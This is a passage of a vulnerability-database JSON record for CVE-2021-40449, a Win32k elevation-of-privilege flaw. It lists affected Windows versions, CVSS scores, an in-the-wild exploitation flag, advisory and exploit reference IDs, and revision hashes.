{"cpe23Uri": "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server:2004:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:x86:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:arm64:*", "cpe_name": [], "vulnerable": true}], "operator": "OR"}]}, "cvelist": ["CVE-2021-40449"], "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "cwe": ["CWE-269"], "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.", "edition": 4, "enchantments": {"dependencies": {"modified": "2021-11-11T18:34:39", "references": [{"idList": ["CPAI-2021-0739"], "type": "checkpoint_advisories"}, {"idList": ["SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL"], "type": "nessus"}, {"idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"], "type": "securelist"}, {"idList": ["1337DAY-ID-37026"], "type": "zdt"}, {"idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"], "type": "qualysblog"}, {"idList": ["PACKETSTORM:164926"], "type": "packetstorm"}, {"idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"], "type": "thn"}, {"idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"], "type": "attackerkb"}, {"idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"], "type": "rapid7blog"}, {"idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"], "type": "avleonov"}, {"idList": ["059CF457-59E4-5647-A0BC-0014C543D6D3", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "B45F7278-2C20-5C06-B834-59D960047852", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD"], "type": "githubexploit"}, {"idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"], "type": "hivepro"}, {"idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"], "type": "malwarebytes"}, {"idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"], "type": "threatpost"}, {"idList": ["KLA12309", "KLA12310"], "type": "kaspersky"}, {"idList": ["MS:CVE-2021-40449"], "type": "mscve"}, {"idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"], "type": "krebs"}], "rev": 2}, "exploitation": {"modified": "2021-11-11T18:34:39", "wildExploited": true, "wildExploitedSources": [{"idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"], "type": "attackerkb"}]}, "score": {"modified": "2021-11-11T18:34:39", "rev": 2, "value": 4.4, "vector": "NONE"}}, "extraReferences": [{"name": "http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html", "refsource": "MISC", "tags": [], "url": "http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html"}, {"name": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449", "refsource": "MISC", "tags": ["Patch", "Vendor Advisory"], "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"}], "hash": "39e78b1b485d452b69afcc5e123115ca55788192c9badd7ec95cc53e96d71ccd", "hashmap": [{"hash": "a12b81fd55c2f86c58072a8b56df1494", "key": "cwe"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "964e530b6f5e8648bc069d8532cc97e2", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "17af6aa290117c1541fd37855f304223", "key": "href"}, {"hash": "3bd5d7a4c3f96a3e83956f290d0b41cb", "key": "affectedSoftware"}, {"hash": "967b1e742d4f56cd9f44ac8ea85a3610", "key": "cpeConfiguration"}, {"hash": "f6777e604eff0d8f6944def1db04e18a", "key": "description"}, {"hash": "b92dd74d24db6294778aaa397ecb14be", "key": "references"}, {"hash": "73c290e02a16f86c63d57737dbd7a218", "key": "title"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "78374129a99751f5c9b8de52dbad0386", "key": "cpe23"}, {"hash": "89ef9e1599bb6c12f7df140ce178deff", "key": "cpe"}, {"hash": "029dfc07c499dc142a429cac0a029e99", "key": "reporter"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss2"}, {"hash": "6f6410364e4cee78bd47ed1fc3d8dd5b", "key": "cvss"}, {"hash": "3dc697dc98b8d7b72593bf57e5a9bfd8", "key": "cvelist"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "9da04b1b52a5a41f1c24f693c2b01cf8", "key": "modified"}, {"hash": "481d2e69992f5a7543d43b8dcf24da87", "key": "extraReferences"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-40449", "id": "CVE-2021-40449", "immutableFields": [], "lastseen": "2021-11-11T18:34:39", "modified": "2021-11-10T20:15:00", "objectVersion": "1.6", "published": "2021-10-13T01:15:00", "references": ["http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html", "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"], "reporter": "secure@microsoft.com", "title": "CVE-2021-40449", "type": "cve", "viewCount": 118}, "different_elements": ["cvss3", "cvss2"], "edition": 4, "lastseen": "2021-11-11T18:34:39"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": []}, "cvelist": ["CVE-2021-40449"], "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "cwe": [], "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.", "edition": 2, "enchantments": {"dependencies": {"modified": "2021-10-14T07:28:47", "references": [{"idList": ["SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL"], "type": "nessus"}, {"idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"], "type": "securelist"}, {"idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"], "type": "qualysblog"}, {"idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"], "type": "thn"}, {"idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"], "type": "attackerkb"}, {"idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"], "type": "rapid7blog"}, {"idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"], "type": "hivepro"}, {"idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"], "type": "malwarebytes"}, {"idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"], "type": "threatpost"}, {"idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"], "type": "krebs"}], "rev": 2}, "exploitation": {"modified": "2021-10-14T07:28:47", "wildExploited": true, "wildExploitedSources": [{"idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"], "type": "attackerkb"}]}, "score": {"modified": "2021-10-14T07:28:47", "rev": 2, "value": 4.6, "vector": "NONE"}}, "extraReferences": [{"name": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449", "refsource": "MISC", "tags": [], "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"}], "hash": "33f578c0050b415c3084a480edf7ae4c162fabb69ce1809ce0944794c71d0bc7", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "964e530b6f5e8648bc069d8532cc97e2", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "17af6aa290117c1541fd37855f304223", "key": "href"}, {"hash": "797975aa869602ac52156fd986f16e26", "key": "references"}, {"hash": "f6777e604eff0d8f6944def1db04e18a", "key": "description"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cwe"}, {"hash": "73c290e02a16f86c63d57737dbd7a218", "key": "title"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedSoftware"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "029dfc07c499dc142a429cac0a029e99", "key": "reporter"}, {"hash": "98ab05aa2b90b3c8c8bbb2b17398a9ba", "key": "extraReferences"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss2"}, {"hash": "3dc697dc98b8d7b72593bf57e5a9bfd8", "key": "cvelist"}, {"hash": "24061c2b9f3ba1b32e37baa1f6f74693", "key": "modified"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "81342635da437da3b0897e10f103e0d6", "key": "cpeConfiguration"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-40449", "id": "CVE-2021-40449", "immutableFields": [], "lastseen": "2021-10-14T07:28:47", "modified": "2021-10-13T11:48:00", "objectVersion": "1.6", "published": "2021-10-13T01:15:00", "references": ["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"], "reporter": "secure@microsoft.com", "title": "CVE-2021-40449", "type": "cve", "viewCount": 63}, "different_elements": ["extraReferences", "cpe23", "cvss", "modified", "cpe", "cwe", "affectedSoftware", "cpeConfiguration"], "edition": 2, "lastseen": "2021-10-14T07:28:47"}, {"bulletin": {"affectedConfiguration": [], "affectedSoftware": [], "bulletinFamily": "NVD", "cpe": [], "cpe23": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": []}, "cvelist": ["CVE-2021-40449"], "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "cwe": [], "description": "Win32k Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-40450, CVE-2021-41357.", "edition": 1, "enchantments": {"dependencies": {"modified": "2021-10-13T09:58:46", "references": [{"idList": ["SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006670.NASL"], "type": "nessus"}, {"idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"], "type": "securelist"}, {"idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"], "type": "qualysblog"}, {"idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"], "type": "thn"}, {"idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"], "type": "attackerkb"}, {"idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"], "type": "rapid7blog"}, {"idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"], "type": "hivepro"}, {"idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"], "type": "malwarebytes"}, {"idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"], "type": "threatpost"}, {"idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"], "type": "krebs"}], "rev": 2}, "exploitation": {"modified": "2021-10-13T09:58:46", "wildExploited": true, "wildExploitedSources": [{"idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"], "type": "attackerkb"}]}, "score": {"modified": "2021-10-13T09:58:46", "rev": 2, "value": 4.6, "vector": "NONE"}}, "extraReferences": [{"name": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449", "refsource": "MISC", "tags": [], "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"}], "hash": "d3152abd79803121718f63fffceb5aaad81558a69a88f1f6757a3c80089ed564", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "964e530b6f5e8648bc069d8532cc97e2", "key": "modified"}, {"hash": "964e530b6f5e8648bc069d8532cc97e2", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedConfiguration"}, {"hash": "17af6aa290117c1541fd37855f304223", "key": "href"}, {"hash": "797975aa869602ac52156fd986f16e26", "key": "references"}, {"hash": "f6777e604eff0d8f6944def1db04e18a", "key": "description"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cwe"}, {"hash": "73c290e02a16f86c63d57737dbd7a218", "key": "title"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "affectedSoftware"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe23"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "029dfc07c499dc142a429cac0a029e99", "key": "reporter"}, {"hash": "98ab05aa2b90b3c8c8bbb2b17398a9ba", "key": "extraReferences"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss2"}, {"hash": "3dc697dc98b8d7b72593bf57e5a9bfd8", "key": "cvelist"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "81342635da437da3b0897e10f103e0d6", "key": "cpeConfiguration"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cpe"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-40449", "id": "CVE-2021-40449", "immutableFields": [], "lastseen": "2021-10-13T09:58:46", "modified": "2021-10-13T01:15:00", "objectVersion": "1.6", "published": "2021-10-13T01:15:00", "references": ["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"], "reporter": "secure@microsoft.com", "title": "CVE-2021-40449", "type": "cve", "viewCount": 14}, "different_elements": ["modified"], "edition": 1, "lastseen": "2021-10-13T09:58:46"}], "edition": 6, "hashmap": [{"key": "affectedConfiguration", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "affectedSoftware", "hash": "e214272d9f40b1e2c5ea09c9072bd029"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "2cd8541318d1a6eafd068f44bd608b31"}, {"key": "cpe23", "hash": "7bbe2e01b55192904cf89a53a0ed2631"}, {"key": "cpeConfiguration", "hash": "5d5ce64c21a094f0e0c82641859e3fdf"}, {"key": "cvelist", "hash": "3dc697dc98b8d7b72593bf57e5a9bfd8"}, {"key": "cvss", "hash": "6f6410364e4cee78bd47ed1fc3d8dd5b"}, {"key": "cvss2", "hash": "a6adb76bd2d2e833d4aee455da4b36c3"}, {"key": "cvss3", "hash": "beb519effad5780952ea4ce1697a49ad"}, {"key": "cwe", "hash": "a12b81fd55c2f86c58072a8b56df1494"}, {"key": "description", "hash": "f6777e604eff0d8f6944def1db04e18a"}, {"key": "extraReferences", "hash": "59440e2daee10773cf5ec1ed924eb381"}, {"key": "href", "hash": "17af6aa290117c1541fd37855f304223"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "4c7e65aabaaad227f4cedbd9a45d6dd8"}, {"key": "published", "hash": "964e530b6f5e8648bc069d8532cc97e2"}, {"key": "references", "hash": "b92dd74d24db6294778aaa397ecb14be"}, {"key": "reporter", "hash": "029dfc07c499dc142a429cac0a029e99"}, {"key": "title", "hash": "73c290e02a16f86c63d57737dbd7a218"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "3062b00ab066edea7c34a4993af45901c52de8561a74b8e54431f6f2c48d409c", "viewCount": 130, "enchantments": {"dependencies": {"references": [{"type": "githubexploit", "idList": ["67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "zdt", "idList": ["1337DAY-ID-37026"]}, {"type": "threatpost", "idList": ["THREATPOST:8836AC81C1F2D9654424EC1584E50A16", "THREATPOST:500777B41EEA368E3AC2A6AED65C4A25"]}, {"type": "securelist", "idList": ["SECURELIST:1F59148E6615695438F94EF4956585AA", "SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25", "RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006669.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-12-01T08:39:10", "rev": 2}, "exploitation": {"wildExploited": true, "wildExploitedSources": [{"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}], "modified": "2021-12-01T08:39:10"}, "score": {"value": 4.4, "vector": "NONE", "modified": "2021-12-01T08:39:10", "rev": 2}}, "objectVersion": "1.6", "cpe": ["cpe:/o:microsoft:windows_server_2019:-", "cpe:/o:microsoft:windows_server_2022:-", "cpe:/o:microsoft:windows_rt_8.1:-", "cpe:/o:microsoft:windows_server_2008:-", "cpe:/o:microsoft:windows_10:21h1", "cpe:/o:microsoft:windows_server_2012:r2", "cpe:/o:microsoft:windows_10:-", "cpe:/o:microsoft:windows_server:20h2", "cpe:/o:microsoft:windows_11:*", "cpe:/o:microsoft:windows_server_2012:-", "cpe:/o:microsoft:windows_10:1607", "cpe:/o:microsoft:windows_10:1809", "cpe:/o:microsoft:windows_10:1909", "cpe:/o:microsoft:windows_server:2004", "cpe:/o:microsoft:windows_server_2008:r2", "cpe:/o:microsoft:windows_8.1:-", "cpe:/o:microsoft:windows_10:20h2", "cpe:/o:microsoft:windows_10:2004", "cpe:/o:microsoft:windows_server_2016:-", "cpe:/o:microsoft:windows_7:-"], "affectedSoftware": [{"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1809"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1607"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_rt_8.1", "name": "microsoft windows rt 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server_2019", "name": "microsoft windows server 2019", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server", "name": "microsoft windows server", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "r2"}, {"cpeName": "microsoft:windows_server_2008", "name": "microsoft windows server 2008", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server", "name": "microsoft windows server", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "21h1"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "2004"}, {"cpeName": "microsoft:windows_server_2012", "name": "microsoft windows server 2012", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_8.1", "name": "microsoft windows 8.1", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "20h2"}, {"cpeName": "microsoft:windows_7", "name": "microsoft windows 7", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_11", "name": "microsoft windows 11", "operator": "eq", "version": "*"}, {"cpeName": "microsoft:windows_10", "name": "microsoft windows 10", "operator": "eq", "version": "1909"}, {"cpeName": "microsoft:windows_server_2022", "name": "microsoft windows server 2022", "operator": "eq", "version": "-"}, {"cpeName": "microsoft:windows_server_2016", "name": "microsoft windows server 2016", "operator": "eq", "version": "-"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"children": [], "cpe_match": [{"cpe23Uri": "cpe:2.3:o:microsoft:windows_11:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:2004:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server:20h2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server:2004:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:microsoft:windows_server_2022:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}], "operator": "OR"}]}, "extraReferences": [{"name": "http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html", "refsource": "MISC", "tags": ["Third Party Advisory", "Exploit", "VDB Entry"], "url": "http://packetstormsecurity.com/files/164926/Win32k-NtGdiResetDC-Use-After-Free-Local-Privilege-Escalation.html"}, {"name": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449", "refsource": "MISC", "tags": ["Patch", "Vendor Advisory"], "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40449"}], "cpe23": ["cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_11:*:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2022:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", 